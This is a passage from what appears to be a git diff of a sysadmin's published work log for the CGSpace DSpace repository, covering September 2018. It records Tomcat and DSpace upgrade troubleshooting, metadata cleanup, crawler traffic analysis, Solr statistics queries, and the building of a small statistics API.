    • +
  • It could have been a configuration issue, though, as I also reconciled the server.xml with the one in our Ansible infrastructure scripts
    • +
  • But now I can start testing and preparing to move DSpace Test to Ubuntu 18.04 + Tomcat 8.5 + OpenJDK + PostgreSQL 9.6…
    • +
  • Actually, upon closer inspection, it seems that when you try to go to Listings and Reports under Tomcat 8.5.33 you are taken to the JSPUI login page despite having already logged in in XMLUI
    • +
  • If I type my username and password again it does take me to Listings and Reports, though…
    • +
  • I don’t see anything interesting in the Catalina or DSpace logs, so I might have to file a bug with Atmire
    • +
  • For what it’s worth, the Content and Usage (CUA) module does load, though I can’t seem to get any results in the graph
    • +
  • I just checked to see if the Listings and Reports issue with using the CGSpace citation field was fixed as planned alongside the DSpace 5.8 upgrades (#589
    • +
  • I was able to create a new layout containing only the citation field, so I closed the ticket
    • +
+

2018-08-29

+
    +
  • Discuss COPO with Martin Mueller
    • +
  • He and the consortium’s idea is to use this for metadata annotation (submission?) to all repositories
    • +
  • It is somehow related to adding events as items in the repository, and then linking related papers, presentations, etc to the event item using dc.relation, etc.
    • +
  • Discuss Linode server charges with Abenet, apparently we want to start charging these to Big Data
    • +
+

2018-08-30

+
    +
  • I fixed the graphical glitch in the cookieconsent popup (the dismiss bug is still there) by pinning the last known good version (3.0.6) in bower.json of each XMLUI theme
    • +
  • I guess cookieconsent got updated without me realizing it and the previous expression ^3.0.6 make bower install version 3.1.0
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-09/index.html b/docs/2018-09/index.html new file mode 100644 index 000000000..cafdb1aa2 --- /dev/null +++ b/docs/2018-09/index.html @@ -0,0 +1,802 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + September, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

September, 2018

+

+ + in + Notes + + +

+
+

2018-09-02

+
    +
  • New PostgreSQL JDBC driver version 42.2.5
    • +
  • I’ll update the DSpace role in our Ansible infrastructure playbooks and run the updated playbooks on CGSpace and DSpace Test
    • +
  • Also, I’ll re-run the postgresql tasks because the custom PostgreSQL variables are dynamic according to the system’s RAM, and we never re-ran them after migrating to larger Linodes last month
    • +
  • I’m testing the new DSpace 5.8 branch in my Ubuntu 18.04 environment and I’m getting those autowire errors in Tomcat 8.5.30 again:
    • +
+
02-Sep-2018 11:18:52.678 SEVERE [localhost-startStop-1] org.apache.catalina.core.StandardContext.listenerStart Exception sending context initialized event to listener instance of class [org.dspace.servicemanager.servlet.DSpaceKernelServletContextListener]
+ java.lang.RuntimeException: Failure during filter init: Failed to startup the DSpace Service Manager: failure starting up spring service manager: Error creating bean with name 'conversionService' defined in file [/home/dspacetest.cgiar.org/config/spring/xmlui/spring-dspace-addon-cua-services.xml]: Cannot create inner bean 'com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter#4c5d5a2' of type [com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter] while setting bean property 'converters' with key [1]; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter#4c5d5a2': Injection of autowired dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Could not autowire field: private com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$FilterConverter com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter.filterConverter; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No matching bean of type [com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$FilterConverter] found for dependency: expected at least 1 bean which qualifies as autowire candidate for this dependency. Dependency annotations: {@org.springframework.beans.factory.annotation.Autowired(required=true)}
+    at org.dspace.servicemanager.servlet.DSpaceKernelServletContextListener.contextInitialized(DSpaceKernelServletContextListener.java:92)
+    at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4776)
+    at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5240)
+    at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
+    at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:754)
+    at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:730)
+    at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:734)
+    at org.apache.catalina.startup.HostConfig.deployDescriptor(HostConfig.java:629)
+    at org.apache.catalina.startup.HostConfig$DeployDescriptor.run(HostConfig.java:1838)
+    at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
+    at java.util.concurrent.FutureTask.run(FutureTask.java:266)
+    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+    at java.lang.Thread.run(Thread.java:748)
+Caused by: java.lang.RuntimeException: Failed to startup the DSpace Service Manager: failure starting up spring service manager: Error creating bean with name 'conversionService' defined in file [/home/dspacetest.cgiar.org/config/spring/xmlui/spring-dspace-addon-cua-services.xml]: Cannot create inner bean 'com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter#4c5d5a2' of type [com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter] while setting bean property 'converters' with key [1]; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter#4c5d5a2': Injection of autowired dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Could not autowire field: private com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$FilterConverter com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter.filterConverter; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No matching bean of type [com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$FilterConverter] found for dependency: expected at least 1 bean which qualifies as autowire candidate for this dependency. Dependency annotations:
+
    +
  • Full log here: https://gist.github.com/alanorth/1e4ae567b853fea9d9dbf1a030ecd8c2
    • +
  • XMLUI fails to load, but the REST, SOLR, JSPUI, etc work
    • +
  • The old 5_x-prod-dspace-5.5 branch does work in Ubuntu 18.04 with Tomcat 8.5.30-1ubuntu1.4, however!
    • +
  • And the 5_x-prod DSpace 5.8 branch does work in Tomcat 8.5.x on my Arch Linux laptop…
    • +
  • I’m not sure where the issue is then!
    • +
+

2018-09-03

+
    +
  • Abenet says she’s getting three emails about periodic statistics reports every day since the DSpace 5.8 upgrade last week
    • +
  • They are from the CUA module
    • +
  • Two of them have “no data” and one has a “null” title
    • +
  • The last one is a report of the top downloaded items, and includes a graph
    • +
  • She will try to click the “Unsubscribe” link in the first two to see if it works, otherwise we should contact Atmire
    • +
  • The only one she remembers subscribing to is the top downloads one
    • +
+

2018-09-04

+
    +
  • I’m looking over the latest round of IITA records from Sisay: Mercy1806_August_29 +
      +
    • All fields are split with multiple columns like cg.authorship.types and cg.authorship.types[]
      • +
    • This makes it super annoying to do the checks and cleanup, so I will merge them (also time consuming)
      • +
    • Five items had dc.date.issued values like 2013-5 so I corrected them to be 2013-05
      • +
    • Several metadata fields had values with newlines in them (even in some titles!), which I fixed by trimming the consecutive whitespaces in Open Refine
      • +
    • Many (91!) items from before 2011 are indicated as having a CRP, but CRPs didn’t exist then so this is impossible +
        +
      • I got all items that were from 2011 and onwards using a custom facet with this GREL on the dc.date.issued column: isNotNull(value.match(/201[1-8].*/)) and then blanking their CRPs
        • +
      +
      • +
    • Some affiliations with only one separator (|) for multiple values
      • +
    • I replaced smart quotes like ’ with plain ones
      • +
    • Some inconsistencies in cg.subject.iita like COWPEA and COWPEAS, and YAM and YAMS, etc, as well as some spelling mistakes like IMPACT ASSESSMENTN
      • +
    • Some values in the dc.identifier.isbn are actually ISSNs so I moved them to the dc.identifier.issn column
      • +
    • I found one invalid ISSN using a custom text facet with the regex from the ISSN page on Wikipedia: isNotBlank(value.match(/^\d{4}-\d{3}[\dxX]$/))
      • +
    • One invalid value for dc.type
      • +
    +
    • +
  • Abenet says she hasn’t received any more subscription emails from the CUA module since she unsubscribed yesterday, so I think we don’t need create an issue on Atmire’s bug tracker anymore
    • +
+

2018-09-10

+
    +
  • Playing with strest to test the DSpace REST API programatically
    • +
  • For example, given this test.yaml:
    • +
+
version: 1
+
+requests:
+  test:
+    method: GET
+    url: https://dspacetest.cgiar.org/rest/test
+    validate:
+      raw: "REST api is running."
+
+  login:
+    url: https://dspacetest.cgiar.org/rest/login
+    method: POST
+    data:
+      json: {"email":"test@dspace","password":"thepass"}
+
+  status:
+    url: https://dspacetest.cgiar.org/rest/status
+    method: GET
+    headers:
+      rest-dspace-token: Value(login)
+
+  logout:
+    url: https://dspacetest.cgiar.org/rest/logout
+    method: POST
+    headers:
+      rest-dspace-token: Value(login)
+
+# vim: set sw=2 ts=2:
+
    +
  • Works pretty well, though the DSpace logout always returns an HTTP 415 error for some reason
    • +
  • We could eventually use this to test sanity of the API for creating collections etc
    • +
  • A user is getting an error in her workflow:
    • +
+
2018-09-10 07:26:35,551 ERROR org.dspace.submit.step.CompleteStep @ Caught exception in submission step: 
+org.dspace.authorize.AuthorizeException: Authorization denied for action WORKFLOW_STEP_1 on COLLECTION:2 by user 3819
+
+
$ dspace community-filiator --set -p 10568/97114 -c 10568/51670
+$ dspace community-filiator --set -p 10568/97114 -c 10568/35409
+$ dspace community-filiator --set -p 10568/97114 -c 10568/3112
+
    +
  • Valerio contacted me to point out some issues with metadata on CGSpace, which I corrected in PostgreSQL:
    • +
+
update metadatavalue set text_value='ISI Journal' where resource_type_id=2 and metadata_field_id=226 and text_value='ISI Juornal';
+UPDATE 1
+update metadatavalue set text_value='ISI Journal' where resource_type_id=2 and metadata_field_id=226 and text_value='ISI journal';
+UPDATE 23
+update metadatavalue set text_value='ISI Journal' where resource_type_id=2 and metadata_field_id=226 and text_value='YES';
+UPDATE 1
+delete from metadatavalue where resource_type_id=2 and metadata_field_id=226 and text_value='NO';
+DELETE 17
+update metadatavalue set text_value='ISI Journal' where resource_type_id=2 and metadata_field_id=226 and text_value='ISI';
+UPDATE 15
+
    +
  • Start working on adding metadata for access and usage rights that we started earlier in 2018 (and also in 2017)
    • +
  • The current cg.identifier.status field will become “Access rights” and dc.rights will become “Usage rights”
    • +
  • I have some work in progress on the 5_x-rights branch
    • +
  • Linode said that CGSpace (linode18) had a high CPU load earlier today
    • +
  • When I looked, I see it’s the same Russian IP that I noticed last month:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "10/Sep/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+   1459 157.55.39.202
+   1579 95.108.181.88
+   1615 157.55.39.147
+   1714 66.249.64.91
+   1924 50.116.102.77
+   3696 157.55.39.106
+   3763 157.55.39.148
+   4470 70.32.83.92
+   4724 35.237.175.180
+  14132 5.9.6.51
+
    +
  • And this bot is still creating more Tomcat sessions than Nginx requests (WTF?):
    • +
+
# grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=5.9.6.51' dspace.log.2018-09-10 
+14133
+
    +
  • The user agent is still the same:
    • +
+
Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)
+
    +
  • I added .*crawl.* to the Tomcat Session Crawler Manager Valve, so I’m not sure why the bot is creating so many sessions…
    • +
  • I just tested that user agent on CGSpace and it does not create a new session:
    • +
+
$ http --print Hh https://cgspace.cgiar.org 'User-Agent:Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)'
+GET / HTTP/1.1
+Accept: */*
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Host: cgspace.cgiar.org
+User-Agent: Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)
+
+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Encoding: gzip
+Content-Language: en-US
+Content-Type: text/html;charset=utf-8
+Date: Mon, 10 Sep 2018 20:43:04 GMT
+Server: nginx
+Strict-Transport-Security: max-age=15768000
+Transfer-Encoding: chunked
+Vary: Accept-Encoding
+X-Cocoon-Version: 2.2.0
+X-Content-Type-Options: nosniff
+X-Frame-Options: SAMEORIGIN
+X-XSS-Protection: 1; mode=block
+
    +
  • I will have to keep an eye on it and perhaps add it to the list of “bad bots” that get rate limited
    • +
+

2018-09-12

+
    +
  • Merge AReS explorer changes to nginx config and deploy on CGSpace so CodeObia can start testing more
    • +
  • Re-create my local Docker container for PostgreSQL data, but using a volume for the database data:
    • +
+
$ sudo docker volume create --name dspacetest_data
+$ sudo docker run --name dspacedb -v dspacetest_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+
    +
  • Sisay is still having problems with the controlled vocabulary for top authors
    • +
  • I took a look at the submission template and Firefox complains that the XML file is missing a root element
    • +
  • I guess it’s because Firefox is receiving an empty XML file
    • +
  • I told Sisay to run the XML file through tidy
    • +
  • More testing of the access and usage rights changes
    • +
+

2018-09-13

+
    +
  • Peter was communicating with Altmetric about the OAI mapping issue for item 10568/82810 again
    • +
  • Altmetric said it was somehow related to the OAI dateStamp not getting updated when the mappings changed, but I said that back in 2018-07 when this happened it was because the OAI was actually just not reflecting all the item’s mappings
    • +
  • After forcing a complete re-indexing of OAI the mappings were fine
    • +
  • The dateStamp is most probably only updated when the item’s metadata changes, not its mappings, so if Altmetric is relying on that we’re in a tricky spot
    • +
  • We need to make sure that our OAI isn’t publicizing stale data… I was going to post something on the dspace-tech mailing list, but never did
    • +
  • Linode says that CGSpace (linode18) has had high CPU for the past two hours
    • +
  • The top IP addresses today are:
    • +
+
# zcat --force /var/log/nginx/rest.log /var/log/nginx/rest.log.1 | grep -E "13/Sep/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10                                                                                                
+     32 46.229.161.131
+     38 104.198.9.108
+     39 66.249.64.91
+     56 157.55.39.224
+     57 207.46.13.49
+     58 40.77.167.120
+     78 169.255.105.46
+    702 54.214.112.202
+   1840 50.116.102.77
+   4469 70.32.83.92
+
    +
  • And the top two addresses seem to be re-using their Tomcat sessions properly:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=70.32.83.92' dspace.log.2018-09-13 | sort | uniq
+7
+$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=50.116.102.77' dspace.log.2018-09-13 | sort | uniq
+2
+
    +
  • So I’m not sure what’s going on
    • +
  • Valerio asked me if there’s a way to get the page views and downloads from CGSpace
    • +
  • I said no, but that we might be able to piggyback on the Atmire statlet REST API
    • +
  • For example, when you expand the “statlet” at the bottom of an item like 10568/97103 you can see the following request in the browser console:
    • +
+
https://cgspace.cgiar.org/rest/statlets?handle=10568/97103
+
    +
  • That JSON file has the total page views and item downloads for the item…
    • +
  • Abenet forwarded a request by CIP that item thumbnails be included in RSS feeds
    • +
  • I had a quick look at the DSpace 5.x manual and it doesn’t not seem that this is possible (you can only add metadata)
    • +
  • Testing the new LDAP server the CGNET says will be replacing the old one, it doesn’t seem that they are using the global catalog on port 3269 anymore, now only 636 is open
    • +
  • I did a clean deploy of DSpace 5.8 on Ubuntu 18.04 with some stripped down Tomcat 8 configuration and actually managed to get it up and running without the autowire errors that I had previously experienced
    • +
  • I realized that it always works on my local machine with Tomcat 8.5.x, but not when I do the deployment from Ansible in Ubuntu 18.04
    • +
  • So there must be something in my Tomcat 8 server.xml template
    • +
  • Now I re-deployed it with the normal server template and it’s working, WTF?
    • +
  • Must have been something like an old DSpace 5.5 file in the spring folder… weird
    • +
  • But yay, this means we can update DSpace Test to Ubuntu 18.04, Tomcat 8, PostgreSQL 9.6, etc…
    • +
+

2018-09-14

+
    +
  • Sisay uploaded the IITA records to CGSpace, but forgot to remove the old Handles
    • +
  • I explicitly told him not to forget to remove them yesterday!
    • +
+

2018-09-16

+
    +
  • Add the DSpace build.properties as a template into my Ansible infrastructure scripts for configuring DSpace machines
    • +
  • One stupid thing there is that I add all the variables in a private vars file, which is apparently higher precedence than host vars, meaning that I can’t override them (like SMTP server) on a per-host basis
    • +
  • Discuss access and usage rights with Peter
    • +
  • I suggested that we leave access rights (cg.identifier.access) as it is now, with “Open Access” or “Limited Access”, and then simply re-brand that as “Access rights” in the UIs and relevant drop downs
    • +
  • Then we continue as planned to add dc.rights as “Usage rights”
    • +
+

2018-09-17

+
    +
  • Skype meeting with CGSpace team in Addis
    • +
  • Change cg.identifier.status “Access rights” options to: +
      +
    • Open Access→Unrestricted Access
      • +
    • Limited Access→Restricted Access
      • +
    • Metadata Only
      • +
    +
    • +
  • Update these immediately, but talk to CodeObia to create a mapping between the old and new values
    • +
  • Finalize dc.rights “Usage rights” with seven combinations of Creative Commons, plus the others
    • +
  • Need to double check the new CRP community to see why the collection counts aren’t updated after we moved the communities there last week +
      +
    • I forced a full Discovery re-index and now the community shows 1,600 items
      • +
    +
    • +
  • Check if it’s possible to have items deposited via REST use a workflow so we can perhaps tell ICARDA to use that from MEL
    • +
  • Agree that we’ll publicize AReS explorer on the week before the Big Data Platform workshop +
      +
    • Put a link and or picture on the CGSpace homepage saying “Visualized CGSpace research” or something, and post a message on Yammer
      • +
    +
    • +
  • I want to explore creating a thin API to make the item view and download stats available from Solr so CodeObia can use them in the AReS explorer
    • +
  • Currently CodeObia is exploring using the Atmire statlets internal API, but I don’t really like that…
    • +
  • There are some example queries on the DSpace Solr wiki
    • +
  • For example, this query returns 1655 rows for item 10568/10630:
    • +
+
$ http 'http://localhost:3000/solr/statistics/select?indent=on&rows=0&q=type:0+owningItem:11576&fq=isBot:false'
+
    +
  • The id in the Solr query is the item’s database id (get it from the REST API or something)
    • +
  • Next, I adopted a query to get the downloads and it shows 889, which is similar to the number Atmire’s statlet shows, though the query logic here is confusing:
    • +
+
$ http 'http://localhost:3000/solr/statistics/select?indent=on&rows=0&q=type:0+owningItem:11576&fq=isBot:false&fq=-(bundleName:[*+TO+*]-bundleName:ORIGINAL)&fq=-(statistics_type:[*+TO+*]+-statistics_type:view)'
+
    +
  • According to the SolrQuerySyntax page on the Apache wiki, the [* TO *] syntax just selects a range (in this case all values for a field)
    • +
  • So it seems to be: +
      +
    • type:0 is for bitstreams according to the DSpace Solr documentation
      • +
    • -(bundleName:[*+TO+*]-bundleName:ORIGINAL) seems to be a negative query starting with all documents, subtracting those with bundleName:ORIGINAL, and then negating the whole thing… meaning only documents from bundleName:ORIGINAL?
      • +
    +
    • +
  • What the shit, I think I’m right: the simplified logic in this query returns the same 889:
    • +
+
$ http 'http://localhost:3000/solr/statistics/select?indent=on&rows=0&q=type:0+owningItem:11576&fq=isBot:false&fq=bundleName:ORIGINAL&fq=-(statistics_type:[*+TO+*]+-statistics_type:view)'
+
    +
  • And if I simplify the statistics_type logic the same way, it still returns the same 889!
    • +
+
$ http 'http://localhost:3000/solr/statistics/select?indent=on&rows=0&q=type:0+owningItem:11576&fq=isBot:false&fq=bundleName:ORIGINAL&fq=statistics_type:view'
+
    +
  • As for item views, I suppose that’s just the same query, minus the bundleName:ORIGINAL:
    • +
+
$ http 'http://localhost:3000/solr/statistics/select?indent=on&rows=0&q=type:0+owningItem:11576&fq=isBot:false&fq=-bundleName:ORIGINAL&fq=statistics_type:view'
+
    +
  • That one returns 766, which is exactly 1655 minus 889…
    • +
  • Also, Solr’s fq is similar to the regular q query parameter, but it is considered for the Solr query cache so it should be faster for multiple queries
    • +
+

2018-09-18

+
    +
  • I managed to create a simple proof of concept REST API to expose item view and download statistics: cgspace-statistics-api
    • +
  • It uses the Python-based Falcon web framework and talks to Solr directly using the SolrClient library (which seems to have issues in Python 3.7 currently)
    • +
  • After deploying on DSpace Test I can then get the stats for an item using its ID:
    • +
+
$ http -b 'https://dspacetest.cgiar.org/rest/statistics/item?id=110988'
+{
+    "downloads": 2,
+    "id": 110988,
+    "views": 15
+}
+
    +
  • The numbers are different than those that come from Atmire’s statlets for some reason, but as I’m querying Solr directly, I have no idea where their numbers come from!
    • +
  • Moayad from CodeObia asked if I could make the API be able to paginate over all items, for example: /statistics?limit=100&page=1
    • +
  • Getting all the item IDs from PostgreSQL is certainly easy:
    • +
+
dspace=# select item_id from item where in_archive is True and withdrawn is False and discoverable is True;
+
    +
  • The rest of the Falcon tooling will be more difficult…
    • +
+

2018-09-19

+ +

2018-09-20

+
    +
  • Contact Atmire to ask how we can buy more credits for future development (#644)
    • +
  • I researched the Solr filterCache size and I found out that the formula for calculating the potential memory use of each entry in the cache is:
    • +
+
((maxDoc/8) + 128) * (size_defined_in_solrconfig.xml)
+
    +
  • Which means that, for our statistics core with 149 million documents, each entry in our filterCache would use 8.9 GB!
    • +
+
((149374568/8) + 128) * 512 = 9560037888 bytes (8.9 GB)
+
+

2018-09-21

+
    +
  • I see that there was a nice optimization to the ImageMagick PDF CMYK detection in the upstream dspace-5_x branch: DS-3664
    • +
  • The fix will go into DSpace 5.10, and we are currently on DSpace 5.8 but I think I’ll cherry-pick that fix into our 5_x-prod branch: +
      +
    • 4e8c7b578bdbe26ead07e36055de6896bbf02f83: ImageMagick: Only execute “identify” on first page
      • +
    +
    • +
  • I think it would also be nice to cherry-pick the fixes for DS-3883, which is related to optimizing the XMLUI item display of items with many bitstreams +
      +
    • a0ea20bd1821720b111e2873b08e03ce2bf93307: DS-3883: Don’t loop through original bitstreams if only displaying thumbnails
      • +
    • 8d81e825dee62c2aa9d403a505e4a4d798964e8d: DS-3883: If only including thumbnails, only load the main item thumbnail.
      • +
    +
    • +
+

2019-09-23

+
    +
  • I did more work on my cgspace-statistics-api, fixing some item view counts and adding indexing via SQLite (I’m trying to avoid having to set up yet another database, user, password, etc) during deployment
    • +
  • I created a new branch called 5_x-upstream-cherry-picks to test and track those cherry-picks from the upstream 5.x branch
    • +
  • Also, I need to test the new LDAP server, so I will deploy that on DSpace Test today
    • +
  • Rename my cgspace-statistics-api to dspace-statistics-api on GitHub
    • +
+

2018-09-24

+
    +
  • Trying to figure out how to get item views and downloads from SQLite in a join
    • +
  • It appears SQLite doesn’t support FULL OUTER JOIN so some people on StackOverflow have emulated it with LEFT JOIN and UNION:
    • +
+
> SELECT views.views, views.id, downloads.downloads, downloads.id FROM itemviews views
+LEFT JOIN itemdownloads downloads USING(id)
+UNION ALL
+SELECT views.views, views.id, downloads.downloads, downloads.id FROM itemdownloads downloads
+LEFT JOIN itemviews views USING(id)
+WHERE views.id IS NULL;
+
    +
  • This “works” but the resulting rows are kinda messy so I’d have to do extra logic in Python
    • +
  • Maybe we can use one “items” table with defaults values and UPSERT (aka insert… on conflict … do update):
    • +
+
sqlite> CREATE TABLE items(id INT PRIMARY KEY, views INT DEFAULT 0, downloads INT DEFAULT 0);
+sqlite> INSERT INTO items(id, views) VALUES(0, 52);
+sqlite> INSERT INTO items(id, downloads) VALUES(1, 171);
+sqlite> INSERT INTO items(id, downloads) VALUES(1, 176) ON CONFLICT(id) DO UPDATE SET downloads=176;
+sqlite> INSERT INTO items(id, views) VALUES(0, 78) ON CONFLICT(id) DO UPDATE SET views=78;
+sqlite> INSERT INTO items(id, views) VALUES(0, 3) ON CONFLICT(id) DO UPDATE SET downloads=3;
+sqlite> INSERT INTO items(id, views) VALUES(0, 7) ON CONFLICT(id) DO UPDATE SET downloads=excluded.views;
+
    +
  • This totally works!
    • +
  • Note the special excluded.views form! See SQLite’s lang_UPSERT documentation
    • +
  • Oh nice, I finally finished the Falcon API route to page through all the results using SQLite’s amazing LIMIT and OFFSET support
    • +
  • But when I deployed it on my Ubuntu 16.04 environment I realized Ubuntu’s SQLite is old and doesn’t support UPSERT, so my indexing doesn’t work…
    • +
  • Apparently UPSERT came in SQLite 3.24.0 (2018-06-04), and Ubuntu 16.04 has 3.11.0
    • +
  • Ok this is hilarious, I manually downloaded the libsqlite3 3.24.0 deb from Ubuntu 18.10 “cosmic” and installed it in Ubnutu 16.04 and now the Python indexer.py works
    • +
  • This is definitely a dirty hack, but the list of packages we use that depend on libsqlite3-0 in Ubuntu 16.04 are actually pretty few:
    • +
+
# apt-cache rdepends --installed libsqlite3-0 | sort | uniq
+  gnupg2
+  libkrb5-26-heimdal
+  libnss3
+  libpython2.7-stdlib
+  libpython3.5-stdlib
+
    +
  • I wonder if I could work around this by detecting the SQLite library version, for example on Ubuntu 16.04 after I replaced the library:
    • +
+
# python3
+Python 3.5.2 (default, Nov 23 2017, 16:37:01) 
+[GCC 5.4.0 20160609] on linux
+Type "help", "copyright", "credits" or "license" for more information.
+>>> import sqlite3
+>>> print(sqlite3.sqlite_version)
+3.24.0
+
    +
  • Or maybe I should just bite the bullet and migrate this to PostgreSQL, as it supports UPSERT since version 9.5 and also seems to have my new favorite LIMIT and OFFSET
    • +
  • I changed the syntax of the SQLite stuff and PostgreSQL is working flawlessly with psycopg2… hmmm.
    • +
  • For reference, creating a PostgreSQL database for testing this locally (though indexer.py will create the table):
    • +
+
$ createdb -h localhost -U postgres -O dspacestatistics --encoding=UNICODE dspacestatistics
+$ createuser -h localhost -U postgres --pwprompt dspacestatistics
+$ psql -h localhost -U postgres dspacestatistics
+dspacestatistics=> CREATE TABLE IF NOT EXISTS items
+dspacestatistics-> (id INT PRIMARY KEY, views INT DEFAULT 0, downloads INT DEFAULT 0)
+

2018-09-25

+
    +
  • I deployed the DSpace statistics API on CGSpace, but when I ran the indexer it wanted to index 180,000 pages of item views
    • +
  • I’m not even sure how that’s possible, as we only have 74,000 items!
    • +
  • I need to inspect the id values that are returned for views and cross check them with the owningItem values for bitstream downloads…
    • +
  • Also, I could try to check all IDs against the items table to see if they are actually items (perhaps the Solr id field doesn’t correspond with actual DSpace items?)
    • +
  • I want to purge the bot hits from the Solr statistics core, as I am now realizing that I don’t give a shit about tens of millions of hits by Google and Bing indexing my shit every day (at least not in Solr!)
    • +
  • CGSpace’s Solr core has 150,000,000 documents in it… and it’s still pretty fast to query, but it’s really a maintenance and backup burden
    • +
  • DSpace Test currently has about 2,000,000 documents with isBot:true in its Solr statistics core, and the size on disk is 2GB (it’s not much, but I have to test this somewhere!)
    • +
  • According to the DSpace 5.x Solr documentation I can use dspace stats-util -f, so let’s try it:
    • +
+
$ dspace stats-util -f
+
    +
  • The command comes back after a few seconds and I still see 2,000,000 documents in the statistics core with isBot:true
    • +
  • I was just writing a message to the dspace-tech mailing list and then I decided to check the number of bot view events on DSpace Test again, and now it’s 201 instead of 2,000,000, and statistics core is only 30MB now!
    • +
  • I will set the logBots = false property in dspace/config/modules/usage-statistics.cfg on DSpace Test and check if the number of isBot:true events goes up any more…
    • +
  • I restarted the server with logBots = false and after it came back up I see 266 events with isBots:true (maybe they were buffered)… I will check again tomorrow
    • +
  • After a few hours I see there are still only 266 view events with isBot:true on DSpace Test’s Solr statistics core, so I’m definitely going to deploy this on CGSpace soon
    • +
  • Also, CGSpace currently has 60,089,394 view events with isBot:true in it’s Solr statistics core and it is 124GB!
    • +
  • Amazing! After running dspace stats-util -f on CGSpace the Solr statistics core went from 124GB to 60GB, and now there are only 700 events with isBot:true so I should really disable logging of bot events!
    • +
  • I’m super curious to see how the JVM heap usage changes…
    • +
  • I made (and merged) a pull request to disable bot logging on the 5_x-prod branch (#387)
    • +
  • Now I’m wondering if there are other bot requests that aren’t classified as bots because the IP lists or user agents are outdated
    • +
  • DSpace ships a list of spider IPs, for example: config/spiders/iplists.com-google.txt
    • +
  • I checked the list against all the IPs we’ve seen using the “Googlebot” useragent on CGSpace’s nginx access logs
    • +
  • The first thing I learned is that shit tons of IPs in Russia, Ukraine, Ireland, Brazil, Portugal, the US, Canada, etc are pretending to be “Googlebot”…
    • +
  • According to the Googlebot FAQ the domain name in the reverse DNS lookup should contain either googlebot.com or google.com
    • +
  • In Solr this appears to be an appropriate query that I can maybe use later (returns 81,000 documents):
    • +
+
*:* AND (dns:*googlebot.com. OR dns:*google.com.) AND isBot:false
+
    +
  • I translate that into a delete command using the /update handler:
    • +
+
http://localhost:8081/solr/statistics/update?commit=true&stream.body=<delete><query>*:*+AND+(dns:*googlebot.com.+OR+dns:*google.com.)+AND+isBot:false</query></delete>
+
    +
  • And magically all those 81,000 documents are gone!
    • +
  • After a few hours the Solr statistics core is down to 44GB on CGSpace!
    • +
  • I did a major refactor and logic fix in the DSpace Statistics API’s indexer.py
    • +
  • Basically, it turns out that using facet.mincount=1 is really beneficial for me because it reduces the size of the Solr result set, reduces the amount of data we need to ingest into PostgreSQL, and the API returns HTTP 404 Not Found for items without views or downloads anyways
    • +
  • I deployed the new version on CGSpace and now it looks pretty good!
    • +
+
Indexing item views (page 28 of 753)
+...
+Indexing item downloads (page 260 of 260)
+
    +
  • And now it’s fast as hell due to the muuuuch smaller Solr statistics core
    • +
+

2018-09-26

+
    +
  • Linode emailed to say that CGSpace (linode18) was using 30Mb/sec of outward bandwidth for two hours around midnight
    • +
  • I don’t see anything unusual in the nginx logs, so perhaps it was the cron job that syncs the Solr database to Amazon S3?
    • +
  • It could be that the bot purge yesterday changed the core significantly so there was a lot to change?
    • +
  • I don’t see any drop in JVM heap size in CGSpace’s munin stats since I did the Solr cleanup, but this looks pretty good:
    • +
+

Tomcat max processing time week

+
    +
  • I will have to keep an eye on that over the next few weeks to see if things stay as they are
    • +
  • I did a batch replacement of the access rights with my fix-metadata-values.py script on DSpace Test:
    • +
+
$ ./fix-metadata-values.py -i /tmp/fix-access-status.csv -db dspace -u dspace -p 'fuuu' -f cg.identifier.status -t correct -m 206
+
    +
